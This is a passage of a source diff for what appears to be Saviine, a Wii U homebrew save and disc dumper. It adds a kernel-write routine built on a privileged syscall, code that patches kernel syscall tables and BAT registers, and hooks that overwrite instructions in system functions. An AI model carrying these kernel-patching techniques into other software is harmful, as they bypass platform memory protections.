asm volatile("mtspr 573, %0" : : "r" (table->bat[i].l));
|
||||
i++;
|
||||
asm volatile("mtspr 574, %0" : : "r" (table->bat[i].h));
|
||||
asm volatile("mtspr 575, %0" : : "r" (table->bat[i].l));
|
||||
|
||||
asm volatile("eieio; isync");
|
||||
}
|
||||
|
||||
/* Write a 32-bit word with kernel permissions */
|
||||
static void __attribute__ ((noinline)) kern_write(void *addr, uint32_t value)
|
||||
{
|
||||
asm volatile (
|
||||
"li 3,1\n"
|
||||
"li 4,0\n"
|
||||
"mr 5,%1\n"
|
||||
"li 6,0\n"
|
||||
"li 7,0\n"
|
||||
"lis 8,1\n"
|
||||
"mr 9,%0\n"
|
||||
"mr %1,1\n"
|
||||
"li 0,0x3500\n"
|
||||
"sc\n"
|
||||
"nop\n"
|
||||
"mr 1,%1\n"
|
||||
:
|
||||
: "r"(addr), "r"(value)
|
||||
: "memory", "ctr", "lr", "0", "3", "4", "5", "6", "7", "8", "9", "10",
|
||||
"11", "12"
|
||||
);
|
||||
}
|
||||
|
||||
void KernelSetupSyscalls(void)
|
||||
{
|
||||
//! assign 1 so that this variable gets into the retained .data section
|
||||
static uint8_t ucSyscallsSetupRequired = 1;
|
||||
if(!ucSyscallsSetupRequired)
|
||||
return;
|
||||
|
||||
ucSyscallsSetupRequired = 0;
|
||||
|
||||
kern_write((void*)(OS_SPECIFICS->addr_KernSyscallTbl1 + (0x36 * 4)), (unsigned int)KernelReadDBATs);
|
||||
kern_write((void*)(OS_SPECIFICS->addr_KernSyscallTbl2 + (0x36 * 4)), (unsigned int)KernelReadDBATs);
|
||||
kern_write((void*)(OS_SPECIFICS->addr_KernSyscallTbl3 + (0x36 * 4)), (unsigned int)KernelReadDBATs);
|
||||
kern_write((void*)(OS_SPECIFICS->addr_KernSyscallTbl4 + (0x36 * 4)), (unsigned int)KernelReadDBATs);
|
||||
kern_write((void*)(OS_SPECIFICS->addr_KernSyscallTbl5 + (0x36 * 4)), (unsigned int)KernelReadDBATs);
|
||||
|
||||
kern_write((void*)(OS_SPECIFICS->addr_KernSyscallTbl1 + (0x37 * 4)), (unsigned int)KernelWriteDBATs);
|
||||
kern_write((void*)(OS_SPECIFICS->addr_KernSyscallTbl2 + (0x37 * 4)), (unsigned int)KernelWriteDBATs);
|
||||
kern_write((void*)(OS_SPECIFICS->addr_KernSyscallTbl3 + (0x37 * 4)), (unsigned int)KernelWriteDBATs);
|
||||
kern_write((void*)(OS_SPECIFICS->addr_KernSyscallTbl4 + (0x37 * 4)), (unsigned int)KernelWriteDBATs);
|
||||
kern_write((void*)(OS_SPECIFICS->addr_KernSyscallTbl5 + (0x37 * 4)), (unsigned int)KernelWriteDBATs);
|
||||
|
||||
kern_write((void*)(OS_SPECIFICS->addr_KernSyscallTbl1 + (0x25 * 4)), (unsigned int)KernelCopyData);
|
||||
kern_write((void*)(OS_SPECIFICS->addr_KernSyscallTbl2 + (0x25 * 4)), (unsigned int)KernelCopyData);
|
||||
kern_write((void*)(OS_SPECIFICS->addr_KernSyscallTbl3 + (0x25 * 4)), (unsigned int)KernelCopyData);
|
||||
kern_write((void*)(OS_SPECIFICS->addr_KernSyscallTbl4 + (0x25 * 4)), (unsigned int)KernelCopyData);
|
||||
kern_write((void*)(OS_SPECIFICS->addr_KernSyscallTbl5 + (0x25 * 4)), (unsigned int)KernelCopyData);
|
||||
|
||||
//! write our hook to the
|
||||
u32 addr_my_PrepareTitle_hook = ((u32)my_PrepareTitle_hook) | 0x48000003;
|
||||
|
||||
SC0x25_KernelCopyData((u32)&origPrepareTitleInstr, (u32)addr_PrepareTitle_hook, 4);
|
||||
SC0x25_KernelCopyData((u32)addr_PrepareTitle_hook, (u32)&addr_my_PrepareTitle_hook, 4);
|
||||
}
|
||||
|
||||
|
||||
void KernelRestoreInstructions(void)
|
||||
{
|
||||
if(origPrepareTitleInstr != 0)
|
||||
SC0x25_KernelCopyData((u32)addr_PrepareTitle_hook, (u32)&origPrepareTitleInstr, 4);
|
||||
}
|
23
src/kernel/syscalls.h
Normal file
23
src/kernel/syscalls.h
Normal file
@ -0,0 +1,23 @@
|
||||
#ifndef __SYSCALLS_H_
|
||||
#define __SYSCALLS_H_
|
||||
|
||||
#ifdef __cplusplus
|
||||
extern "C" {
|
||||
#endif
|
||||
|
||||
#include <gctypes.h>
|
||||
#include "common/kernel_defs.h"
|
||||
|
||||
void KernelSetupSyscalls(void);
|
||||
void KernelRestoreInstructions(void);
|
||||
|
||||
void SC0x25_KernelCopyData(unsigned int addr, unsigned int src, unsigned int len);
|
||||
void SC0x36_KernelReadDBATs(bat_table_t * table);
|
||||
void SC0x37_KernelWriteDBATs(bat_table_t * table);
|
||||
|
||||
|
||||
#ifdef __cplusplus
|
||||
}
|
||||
#endif
|
||||
|
||||
#endif // __KERNEL_FUNCTIONS_H_
|
19
src/kernel/syscalls_asm.S
Normal file
19
src/kernel/syscalls_asm.S
Normal file
@ -0,0 +1,19 @@
|
||||
# Syscalls for kernel that we use
|
||||
|
||||
.globl SC0x36_KernelReadDBATs
|
||||
SC0x36_KernelReadDBATs:
|
||||
li r0, 0x3600
|
||||
sc
|
||||
blr
|
||||
|
||||
.globl SC0x37_KernelWriteDBATs
|
||||
SC0x37_KernelWriteDBATs:
|
||||
li r0, 0x3700
|
||||
sc
|
||||
blr
|
||||
|
||||
.globl SC0x25_KernelCopyData
|
||||
SC0x25_KernelCopyData:
|
||||
li r0, 0x2500
|
||||
sc
|
||||
blr
|
43
src/link.ld
Normal file
43
src/link.ld
Normal file
@ -0,0 +1,43 @@
|
||||
OUTPUT(ddd.elf);
|
||||
|
||||
/* Tell linker where our application entry is so the garbage collect can work correct */
|
||||
ENTRY(__entry_menu);
|
||||
|
||||
SECTIONS {
|
||||
. = 0x00802000;
|
||||
.text : {
|
||||
*(.kernel_code*);
|
||||
*(.text*);
|
||||
/* Tell linker to not garbage collect this section as it is not referenced anywhere */
|
||||
KEEP(*(.kernel_code*));
|
||||
}
|
||||
.rodata : {
|
||||
*(.rodata*);
|
||||
}
|
||||
.data : {
|
||||
*(.data*);
|
||||
|
||||
__sdata_start = .;
|
||||
*(.sdata*);
|
||||
__sdata_end = .;
|
||||
|
||||
__sdata2_start = .;
|
||||
*(.sdata2*);
|
||||
__sdata2_end = .;
|
||||
}
|
||||
.bss : {
|
||||
__bss_start = .;
|
||||
*(.bss*);
|
||||
*(.sbss*);
|
||||
*(COMMON);
|
||||
__bss_end = .;
|
||||
}
|
||||
__CODE_END = .;
|
||||
|
||||
/DISCARD/ : {
|
||||
*(*);
|
||||
}
|
||||
}
|
||||
|
||||
/******************************************************** FS ********************************************************/
|
||||
/* coreinit.rpl difference in addresses 0xFE3C00 */
|
213
src/main.c
Normal file
213
src/main.c
Normal file
@ -0,0 +1,213 @@
|
||||
#include <string.h>
|
||||
#include <stdarg.h>
|
||||
#include <stdlib.h>
|
||||
#include <stdio.h>
|
||||
#include <malloc.h>
|
||||
#include "dynamic_libs/os_functions.h"
|
||||
#include "dynamic_libs/fs_functions.h"
|
||||
#include "dynamic_libs/aoc_functions.h"
|
||||
#include "dynamic_libs/gx2_functions.h"
|
||||
#include "dynamic_libs/sys_functions.h"
|
||||
#include "dynamic_libs/vpad_functions.h"
|
||||
#include "dynamic_libs/padscore_functions.h"
|
||||
#include "dynamic_libs/socket_functions.h"
|
||||
#include "dynamic_libs/ax_functions.h"
|
||||
#include "system/memory.h"
|
||||
#include "utils/logger.h"
|
||||
#include "common/common.h"
|
||||
#include "game/rpx_rpl_table.h"
|
||||
#include "game/memory_area_table.h"
|
||||
#include "discdumper.h"
|
||||
#include "patcher/function_hooks.h"
|
||||
#include "kernel/kernel_functions.h"
|
||||
|
||||
typedef union u_serv_ip
|
||||
{
|
||||
uint8_t digit[4];
|
||||
uint32_t full;
|
||||
} u_serv_ip;
|
||||
|
||||
#define PRINT_TEXT2(x, y, ...) { snprintf(msg, 80, __VA_ARGS__); OSScreenPutFontEx(0, x, y, msg); OSScreenPutFontEx(1, x, y, msg); }
|
||||
|
||||
/* Entry point */
|
||||
int Menu_Main(void)
|
||||
{
|
||||
//!*******************************************************************
|
||||
//! Initialize function pointers *
|
||||
//!*******************************************************************
|
||||
//! do OS (for acquire) and sockets first so we got logging
|
||||
InitOSFunctionPointers();
|
||||
InitSocketFunctionPointers();
|
||||
InitFSFunctionPointers();
|
||||
InitVPadFunctionPointers();
|
||||
InitSysFunctionPointers();
|
||||
InitAocFunctionPointers();
|
||||
|
||||
log_init("192.168.0.181");
|
||||
log_deinit();
|
||||
log_init("192.168.0.181");
|
||||
log_printf("Started %s\n", cosAppXmlInfoStruct.rpx_name);
|
||||
|
||||
if(strcasecmp("men.rpx", cosAppXmlInfoStruct.rpx_name) == 0)
|
||||
{
|
||||
return EXIT_RELAUNCH_ON_LOAD;
|
||||
}
|
||||
else if(strlen(cosAppXmlInfoStruct.rpx_name) > 0 && strcasecmp("ffl_app.rpx", cosAppXmlInfoStruct.rpx_name) != 0)
|
||||
{
|
||||
StartDumper();
|
||||
return EXIT_RELAUNCH_ON_LOAD;
|
||||
}
|
||||
|
||||
// initialize memory tables once on start
|
||||
memoryInitAreaTable();
|
||||
rpxRplTableInit();
|
||||
SetupKernelCallback();
|
||||
PatchMethodHooks();
|
||||
|
||||
memoryInitialize();
|
||||
|
||||
VPADInit();
|
||||
|
||||
// Prepare screen
|
||||
int screen_buf0_size = 0;
|
||||
int screen_buf1_size = 0;
|
||||
|
||||
// Init screen and screen buffers
|
||||
OSScreenInit();
|
||||
screen_buf0_size = OSScreenGetBufferSizeEx(0);
|
||||
screen_buf1_size = OSScreenGetBufferSizeEx(1);
|
||||
|
||||
unsigned char *screenBuffer = MEM1_alloc(screen_buf0_size + screen_buf1_size, 0x40);
|
||||
|
||||
OSScreenSetBufferEx(0, screenBuffer);
|
||||
OSScreenSetBufferEx(1, (screenBuffer + screen_buf0_size));
|
||||
|
||||
OSScreenEnableEx(0, 1);
|
||||
OSScreenEnableEx(1, 1);
|
||||
|
||||
char msg[80];
|
||||
uint8_t sel_ip = 3;
|
||||
int launchMethod = 0;
|
||||
int update_screen = 1;
|
||||
int vpadError = -1;
|
||||
VPADData vpad_data;
|
||||
u_serv_ip ip;
|
||||
ip.full = GetServerIp();
|
||||
int delay = 0;
|
||||
|
||||
while (1)
|
||||
{
|
||||
// Read vpad
|
||||
VPADRead(0, &vpad_data, 1, &vpadError);
|
||||
|
||||
if(update_screen)
|
||||
{
|
||||
OSScreenClearBufferEx(0, 0);
|
||||
OSScreenClearBufferEx(1, 0);
|
||||
|
||||
// Print message
|
||||
PRINT_TEXT2(14, 1, "-- Saviine v1.1 by Maschell --");
|
||||
PRINT_TEXT2(0, 5, "1. Setup IP address of server application.");
|
||||
|
||||
// Print ip digit selector
|
||||
uint8_t x_shift = 17 + 4 * sel_ip;
|
||||
PRINT_TEXT2(x_shift, 6, "vvv");
|
||||
|
||||
PRINT_TEXT2(0, 7, " Server IP: %3d.%3d.%3d.%3d", ip.digit[0], ip.digit[1], ip.digit[2], ip.digit[3]);
|
||||
|
||||
PRINT_TEXT2(0, 10, "2. Press A to install Saviine and try to launch disc.");
|
||||
PRINT_TEXT2(0, 11, " or Press X to install Saviine and return to system menu.");
|
||||
|
||||
PRINT_TEXT2(0, 13, "3. Start the title to be dumped.");
|
||||
|
||||
PRINT_TEXT2(0, 17, "Press home button to exit ...");
|
||||
|
||||
|
||||
OSScreenFlipBuffersEx(0);
|
||||
OSScreenFlipBuffersEx(1);
|
||||
}
|
||||
|
||||
u32 pressedBtns = vpad_data.btns_d | vpad_data.btns_h;
|
||||
|
||||
// Check for buttons
|
||||
// Home Button
|
||||
if (pressedBtns & VPAD_BUTTON_HOME) {
|
||||
launchMethod = 0;
|
||||
break;
|
||||
}
|
||||
// A Button
|
||||
if (pressedBtns & VPAD_BUTTON_A) {
|
||||
SetServerIp(ip.full);
|
||||
launchMethod = 1;
|
||||
break;
|
||||
}
|
||||
// A Button
|
||||
if (pressedBtns & VPAD_BUTTON_X) {
|
||||
SetServerIp(ip.full);
|
||||
launchMethod = 2;
|
||||
break;
|
||||
}
|
||||
// Left/Right Buttons
|
||||
if (vpad_data.btns_d & VPAD_BUTTON_LEFT )
|
||||
{
|
||||
if(sel_ip == 0)
|
||||
sel_ip = 3;
|
||||
else
|
||||
--sel_ip;
|
||||
}
|
||||
|
||||
if (vpad_data.btns_d & VPAD_BUTTON_RIGHT)
|
||||
{
|
||||
sel_ip = ((sel_ip + 1) % 4);
|
||||
}
|
||||
|
||||
// Up/Down Buttons
|
||||
if (pressedBtns & VPAD_BUTTON_UP)
|
||||
{
|
||||
if(--delay <= 0) {
|
||||
ip.digit[sel_ip]++;
|
||||
delay = (vpad_data.btns_d & VPAD_BUTTON_UP) ? 6 : 0;
|
||||
}
|
||||
}
|
||||
else if (pressedBtns & VPAD_BUTTON_DOWN)
|
||||
{
|
||||
if(--delay <= 0) {
|
||||
ip.digit[sel_ip]--;
|
||||
delay = (vpad_data.btns_d & VPAD_BUTTON_DOWN) ? 6 : 0;
|
||||
}
|
||||
}
|
||||
else {
|
||||
delay = 0;
|
||||
}
|
||||
|
||||
// Button pressed ?
|
||||
update_screen = (pressedBtns & (VPAD_BUTTON_LEFT | VPAD_BUTTON_RIGHT | VPAD_BUTTON_UP | VPAD_BUTTON_DOWN)) ? 1 : 0;
|
||||
usleep(20000);
|
||||
}
|
||||
|
||||
MEM1_free(screenBuffer);
|
||||
screenBuffer = NULL;
|
||||
|
||||
log_deinit();
|
||||
|
||||
memoryRelease();
|
||||
|
||||
if(launchMethod == 0)
|
||||
{
|
||||
RestoreInstructions();
|
||||
return EXIT_SUCCESS;
|
||||
}
|
||||
else if(launchMethod == 1)
|
||||
{
|
||||
char buf_vol_odd[20];
|
||||
snprintf(buf_vol_odd, sizeof(buf_vol_odd), "%s", "/vol/storage_odd03");
|
||||
_SYSLaunchTitleByPathFromLauncher(buf_vol_odd, 18, 0);
|
||||
}
|
||||
else
|
||||
{
|
||||
SYSLaunchMenu();
|
||||
}
|
||||
|
||||
return EXIT_RELAUNCH_ON_LOAD;
|
||||
}
|
||||
|
19
src/main.h
Normal file
19
src/main.h
Normal file
@ -0,0 +1,19 @@
|
||||
#ifndef _MAIN_H_
|
||||
#define _MAIN_H_
|
||||
|
||||
#include "common/types.h"
|
||||
#include "dynamic_libs/os_functions.h"
|
||||
|
||||
/* Main */
|
||||
#ifdef __cplusplus
|
||||
extern "C" {
|
||||
#endif
|
||||
|
||||
//! C wrapper for our C++ functions
|
||||
int Menu_Main(void);
|
||||
|
||||
#ifdef __cplusplus
|
||||
}
|
||||
#endif
|
||||
|
||||
#endif
|
134
src/patcher/function_hooks.c
Normal file
134
src/patcher/function_hooks.c
Normal file
@ -0,0 +1,134 @@
|
||||
#include <stdio.h>
|
||||
#include <malloc.h>
|
||||
#include <string.h>
|
||||
#include "common/common.h"
|
||||
#include "common/fs_defs.h"
|
||||
#include "common/loader_defs.h"
|
||||
#include "game/rpx_rpl_table.h"
|
||||
#include "dynamic_libs/fs_functions.h"
|
||||
#include "dynamic_libs/os_functions.h"
|
||||
#include "kernel/kernel_functions.h"
|
||||
#include "function_hooks.h"
|
||||
#include "discdumper.h"
|
||||
|
||||
#define LIB_CODE_RW_BASE_OFFSET 0xC1000000
|
||||
#define CODE_RW_BASE_OFFSET 0x00000000
|
||||
|
||||
#define USE_EXTRA_LOG_FUNCTIONS 0
|
||||
|
||||
#define DECL(res, name, ...) \
|
||||
res (* real_ ## name)(__VA_ARGS__) __attribute__((section(".data"))); \
|
||||
res my_ ## name(__VA_ARGS__)
|
||||
|
||||
/* *****************************************************************************
|
||||
* Creates function pointer array
|
||||
* ****************************************************************************/
|
||||
#define MAKE_MAGIC(x, lib) { (unsigned int) my_ ## x, (unsigned int) &real_ ## x, lib, # x }
|
||||
|
||||
static const struct hooks_magic_t {
|
||||
const unsigned int replaceAddr;
|
||||
const unsigned int replaceCall;
|
||||
const unsigned int library;
|
||||
const char functionName[30];
|
||||
} method_hooks[] = {
|
||||
// LOADER function
|
||||
//MAKE_MAGIC(LiWaitOneChunk, LIB_LOADER),
|
||||
|
||||
};
|
||||
|
||||
//! buffer to store our 2 instructions needed for our replacements
|
||||
//! the code will be placed in the address of that buffer - CODE_RW_BASE_OFFSET
|
||||
//! avoid this buffer to be placed in BSS and reset on start up
|
||||
volatile unsigned int fs_method_calls[sizeof(method_hooks) / sizeof(struct hooks_magic_t) * 2] __attribute__((section(".data")));
|
||||
|
||||
void PatchMethodHooks(void)
|
||||
{
|
||||
restore_instructions_t * restore = (restore_instructions_t *)(RESTORE_INSTR_ADDR);
|
||||
//! check if it is already patched
|
||||
if(restore->magic == RESTORE_INSTR_MAGIC)
|
||||
return;
|
||||
|
||||
restore->magic = RESTORE_INSTR_MAGIC;
|
||||
restore->instr_count = 0;
|
||||
|
||||
bat_table_t table;
|
||||
KernelSetDBATs(&table);
|
||||
|
||||
/* Patch branches to it. */
|
||||
volatile unsigned int *space = &fs_method_calls[0];
|
||||
|
||||
int method_hooks_count = sizeof(method_hooks) / sizeof(struct hooks_magic_t);
|
||||
|
||||
for(int i = 0; i < method_hooks_count; i++)
|
||||
{
|
||||
unsigned int repl_addr = (unsigned int)method_hooks[i].replaceAddr;
|
||||
unsigned int call_addr = (unsigned int)method_hooks[i].replaceCall;
|
||||
|
||||
unsigned int real_addr = 0;
|
||||
|
||||
if(strcmp(method_hooks[i].functionName, "OSDynLoad_Acquire") == 0)
|
||||
{
|
||||
memcpy(&real_addr, &OSDynLoad_Acquire, 4);
|
||||
}
|
||||
else if(strcmp(method_hooks[i].functionName, "LiWaitOneChunk") == 0)
|
||||
{
|
||||
memcpy(&real_addr, &addr_LiWaitOneChunk, 4);
|
||||
}
|
||||
else
|
||||
{
|
||||
OSDynLoad_FindExport(coreinit_handle, 0, method_hooks[i].functionName, &real_addr);
|
||||
}
|
||||
|
||||
// fill the restore instruction section
|
||||
restore->data[restore->instr_count].addr = real_addr;
|
||||
restore->data[restore->instr_count].instr = *(volatile unsigned int *)(LIB_CODE_RW_BASE_OFFSET + real_addr);
|
||||
restore->instr_count++;
|
||||
|
||||
// set pointer to the real function
|
||||
*(volatile unsigned int *)(call_addr) = (unsigned int)(space) - CODE_RW_BASE_OFFSET;
|
||||
DCFlushRange((void*)(call_addr), 4);
|
||||
|
||||
// fill the instruction of the real function
|
||||
*space = *(volatile unsigned int*)(LIB_CODE_RW_BASE_OFFSET + real_addr);
|
||||
space++;
|
||||
|
||||
// jump to real function skipping the first/replaced instruction
|
||||
*space = 0x48000002 | ((real_addr + 4) & 0x03fffffc);
|
||||
space++;
|
||||
DCFlushRange((void*)(space - 2), 8);
|
||||
ICInvalidateRange((unsigned char*)(space - 2) - CODE_RW_BASE_OFFSET, 8);
|
||||
|
||||
unsigned int replace_instr = 0x48000002 | (repl_addr & 0x03fffffc);
|
||||
*(volatile unsigned int *)(LIB_CODE_RW_BASE_OFFSET + real_addr) = replace_instr;
|
||||
DCFlushRange((void*)(LIB_CODE_RW_BASE_OFFSET + real_addr), 4);
|
||||
ICInvalidateRange((void*)(real_addr), 4);
|
||||
}
|
||||
|
||||
KernelRestoreDBATs(&table);
|
||||
}
|
||||
|
||||
/* ****************************************************************** */
|
||||
/* RESTORE ORIGINAL INSTRUCTIONS */
|
||||
/* ****************************************************************** */
|
||||
void RestoreInstructions(void)
|
||||
{
|
||||
bat_table_t table;
|
||||
KernelSetDBATs(&table);
|
||||
|
||||
restore_instructions_t * restore = (restore_instructions_t *)(RESTORE_INSTR_ADDR);
|
||||
if(restore->magic == RESTORE_INSTR_MAGIC)
|
||||
{
|
||||
for(unsigned int i = 0; i < restore->instr_count; i++)
|
||||
{
|
||||
*(volatile unsigned int *)(LIB_CODE_RW_BASE_OFFSET + restore->data[i].addr) = restore->data[i].instr;
|
||||
DCFlushRange((void*)(LIB_CODE_RW_BASE_OFFSET + restore->data[i].addr), 4);
|
||||
ICInvalidateRange((void*)restore->data[i].addr, 4);
|
||||
}
|
||||
|
||||
}
|
||||
restore->magic = 0;
|
||||
restore->instr_count = 0;
|
||||
|
||||
KernelRestoreDBATs(&table);
|
||||
KernelRestoreInstructions();
|
||||
}
|
15
src/patcher/function_hooks.h
Normal file
15
src/patcher/function_hooks.h
Normal file
@ -0,0 +1,15 @@
|
||||
#ifndef _FUNCTION_HOOKS_H_
|
||||
#define _FUNCTION_HOOKS_H_
|
||||
|
||||
#ifdef __cplusplus
|
||||
extern "C" {
|
||||
#endif
|
||||
|
||||
void PatchMethodHooks(void);
|
||||
void RestoreInstructions(void);
|
||||
|
||||
#ifdef __cplusplus
|
||||
}
|
||||
#endif
|
||||
|
||||
#endif /* _FS_H */
|
198
src/system/memory.c
Normal file
198
src/system/memory.c
Normal file
@ -0,0 +1,198 @@
|
||||
/****************************************************************************
|
||||
* Copyright (C) 2015 Dimok
|
||||
*
|
||||
* This program is free software: you can redistribute it and/or modify
|
||||
* it under the terms of the GNU General Public License as published by
|
||||
* the Free Software Foundation, either version 3 of the License, or
|
||||
* (at your option) any later version.
|
||||
*
|
||||
* This program is distributed in the hope that it will be useful,
|
||||
* but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
* GNU General Public License for more details.
|
||||
*
|
||||
* You should have received a copy of the GNU General Public License
|
||||
* along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
****************************************************************************/
|
||||
#include <malloc.h>
|
||||
#include <string.h>
|
||||
#include "dynamic_libs/os_functions.h"
|
||||
#include "common/common.h"
|
||||
#include "memory.h"
|
||||
|
||||
#define MEMORY_ARENA_1 0
|
||||
#define MEMORY_ARENA_2 1
|
||||
#define MEMORY_ARENA_3 2
|
||||
#define MEMORY_ARENA_4 3
|
||||
#define MEMORY_ARENA_5 4
|
||||
#define MEMORY_ARENA_6 5
|
||||
#define MEMORY_ARENA_7 6
|
||||
#define MEMORY_ARENA_8 7
|
||||
#define MEMORY_ARENA_FG_BUCKET 8
|
||||
|
||||
//!----------------------------------------------------------------------------------------------------------------------------------------------------------------------------
|
||||
//! Memory functions
|
||||
//! This is the only place where those are needed so lets keep them more or less private
|
||||
//!----------------------------------------------------------------------------------------------------------------------------------------------------------------------------
|
||||
extern unsigned int * pMEMAllocFromDefaultHeapEx;
|
||||
extern unsigned int * pMEMAllocFromDefaultHeap;
|
||||
extern unsigned int * pMEMFreeToDefaultHeap;
|
||||
|
||||
extern int (* MEMGetBaseHeapHandle)(int mem_arena);
|
||||
extern unsigned int (* MEMGetAllocatableSizeForFrmHeapEx)(int heap, int align);
|
||||
extern void *(* MEMAllocFromFrmHeapEx)(int heap, unsigned int size, int align);
|
||||
extern void (* MEMFreeToFrmHeap)(int heap, int mode);
|
||||
extern void *(* MEMAllocFromExpHeapEx)(int heap, unsigned int size, int align);
|
||||
extern int (* MEMCreateExpHeapEx)(void* address, unsigned int size, unsigned short flags);
|
||||
extern void *(* MEMDestroyExpHeap)(int heap);
|
||||
extern void (* MEMFreeToExpHeap)(int heap, void* ptr);
|
||||
|
||||
static int mem1_heap = -1;
|
||||
static int bucket_heap = -1;
|
||||
|
||||
void memoryInitialize(void)
|
||||
{
|
||||
int mem1_heap_handle = MEMGetBaseHeapHandle(MEMORY_ARENA_1);
|
||||
unsigned int mem1_allocatable_size = MEMGetAllocatableSizeForFrmHeapEx(mem1_heap_handle, 4);
|
||||
void *mem1_memory = MEMAllocFromFrmHeapEx(mem1_heap_handle, mem1_allocatable_size, 4);
|
||||
if(mem1_memory)
|
||||
mem1_heap = MEMCreateExpHeapEx(mem1_memory, mem1_allocatable_size, 0);
|
||||
|
||||
int bucket_heap_handle = MEMGetBaseHeapHandle(MEMORY_ARENA_FG_BUCKET);
|
||||
unsigned int bucket_allocatable_size = MEMGetAllocatableSizeForFrmHeapEx(bucket_heap_handle, 4);
|
||||
void *bucket_memory = MEMAllocFromFrmHeapEx(bucket_heap_handle, bucket_allocatable_size, 4);
|
||||
if(bucket_memory)
|
||||
bucket_heap = MEMCreateExpHeapEx(bucket_memory, bucket_allocatable_size, 0);
|
||||
}
|
||||
|
||||
void memoryRelease(void)
|
||||
{
|
||||
MEMDestroyExpHeap(mem1_heap);
|
||||
MEMFreeToFrmHeap(MEMGetBaseHeapHandle(MEMORY_ARENA_1), 3);
|
||||
mem1_heap = -1;
|
||||
|
||||
MEMDestroyExpHeap(bucket_heap);
|
||||
MEMFreeToFrmHeap(MEMGetBaseHeapHandle(MEMORY_ARENA_FG_BUCKET), 3);
|
||||
bucket_heap = -1;
|
||||
}
|
||||
|
||||
//!-------------------------------------------------------------------------------------------
|
||||
//! wraps
|
||||
//!-------------------------------------------------------------------------------------------
|
||||
void *__wrap_malloc(size_t size)
|
||||
{
|
||||
// pointer to a function resolve
|
||||
return ((void * (*)(size_t))(*pMEMAllocFromDefaultHeap))(size);
|
||||
}
|
||||
|
||||
void *__wrap_memalign(size_t align, size_t size)
|
||||
{
|
||||
if (align < 4)
|
||||
align = 4;
|
||||
|
||||
// pointer to a function resolve
|
||||
return ((void * (*)(size_t, size_t))(*pMEMAllocFromDefaultHeapEx))(size, align);
|
||||
}
|
||||
|
||||
void __wrap_free(void *p)
|
||||
{
|
||||
// pointer to a function resolve
|
||||
if(p != 0)
|
||||
((void (*)(void *))(*pMEMFreeToDefaultHeap))(p);
|
||||
}
|
||||
|
||||
void *__wrap_calloc(size_t n, size_t size)
|
||||
{
|
||||
void *p = __wrap_malloc(n * size);
|
||||
if (p != 0) {
|
||||
memset(p, 0, n * size);
|
||||
}
|
||||
return p;
|
||||
}
|
||||
|
||||
size_t __wrap_malloc_usable_size(void *p)
|
||||
{
|
||||
//! TODO: this is totally wrong and needs to be addressed
|
||||
return 0x7FFFFFFF;
|
||||
}
|
||||
|
||||
void *__wrap_realloc(void *p, size_t size)
|
||||
{
|
||||
void *new_ptr = __wrap_malloc(size);
|
||||
if (new_ptr != 0)
|
||||
{
|
||||
memcpy(new_ptr, p, __wrap_malloc_usable_size(p) < size ? __wrap_malloc_usable_size(p) : size);
|
||||
__wrap_free(p);
|
||||
}
|
||||
return new_ptr;
|
||||
}
|
||||
|
||||
//!-------------------------------------------------------------------------------------------
|
||||
//! reent versions
|
||||
//!-------------------------------------------------------------------------------------------
|
||||
void *__wrap__malloc_r(struct _reent *r, size_t size)
|
||||
{
|
||||
return __wrap_malloc(size);
|
||||
}
|
||||
|
||||
void *__wrap__calloc_r(struct _reent *r, size_t n, size_t size)
|
||||
{
|
||||
return __wrap_calloc(n, size);
|
||||
}
|
||||
|
||||
void *__wrap__memalign_r(struct _reent *r, size_t align, size_t size)
|
||||
{
|
||||
return __wrap_memalign(align, size);
|
||||
}
|
||||
|
||||
void __wrap__free_r(struct _reent *r, void *p)
|
||||
{
|
||||
__wrap_free(p);
|
||||
}
|
||||
|
||||
size_t __wrap__malloc_usable_size_r(struct _reent *r, void *p)
|
||||
{
|
||||
return __wrap_malloc_usable_size(p);
|
||||
}
|
||||
|
||||
void *__wrap__realloc_r(struct _reent *r, void *p, size_t size)
|
||||
{
|
||||
return __wrap_realloc(p, size);
|
||||
}
|
||||
|
||||
//!-------------------------------------------------------------------------------------------
|
||||
//! some wrappers
|
||||
//!-------------------------------------------------------------------------------------------
|
||||
void * MEM2_alloc(unsigned int size, unsigned int align)
|
||||
{
|
||||
return __wrap_memalign(align, size);
|
||||
}
|
||||
|
||||
void MEM2_free(void *ptr)
|
||||
{
|
||||
__wrap_free(ptr);
|
||||
}
|
||||
|
||||
void * MEM1_alloc(unsigned int size, unsigned int align)
|
||||
{
|
||||
if (align < 4)
|
||||
align = 4;
|
||||
return MEMAllocFromExpHeapEx(mem1_heap, size, align);
|
||||
}
|
||||
|
||||
void MEM1_free(void *ptr)
|
||||
{
|
||||
MEMFreeToExpHeap(mem1_heap, ptr);
|
||||
}
|
||||
|
||||
void * MEMBucket_alloc(unsigned int size, unsigned int align)
|
||||
{
|
||||
if (align < 4)
|
||||
align = 4;
|
||||
return MEMAllocFromExpHeapEx(bucket_heap, size, align);
|
||||
}
|
||||
|
||||
void MEMBucket_free(void *ptr)
|
||||
{
|
||||
MEMFreeToExpHeap(bucket_heap, ptr);
|
||||
}
|
42
src/system/memory.h
Normal file
42
src/system/memory.h
Normal file
@ -0,0 +1,42 @@
|
||||
/****************************************************************************
|
||||
* Copyright (C) 2015 Dimok
|
||||
*
|
||||
* This program is free software: you can redistribute it and/or modify
|
||||
* it under the terms of the GNU General Public License as published by
|
||||
* the Free Software Foundation, either version 3 of the License, or
|
||||
* (at your option) any later version.
|
||||
*
|
||||
* This program is distributed in the hope that it will be useful,
|
||||
* but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
* GNU General Public License for more details.
|
||||
*
|
||||
* You should have received a copy of the GNU General Public License
|
||||
* along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
****************************************************************************/
|
||||
#ifndef __MEMORY_H_
|
||||
#define __MEMORY_H_
|
||||
|
||||
#ifdef __cplusplus
|
||||
extern "C" {
|
||||
#endif
|
||||
|
||||
#include <malloc.h>
|
||||
|
||||
void memoryInitialize(void);
|
||||
void memoryRelease(void);
|
||||
|
||||
void * MEM2_alloc(unsigned int size, unsigned int align);
|
||||
void MEM2_free(void *ptr);
|
||||
|
||||
void * MEM1_alloc(unsigned int size, unsigned int align);
|
||||
void MEM1_free(void *ptr);
|
||||
|
||||
void * MEMBucket_alloc(unsigned int size, unsigned int align);
|
||||
void MEMBucket_free(void *ptr);
|
||||
|
||||
#ifdef __cplusplus
|
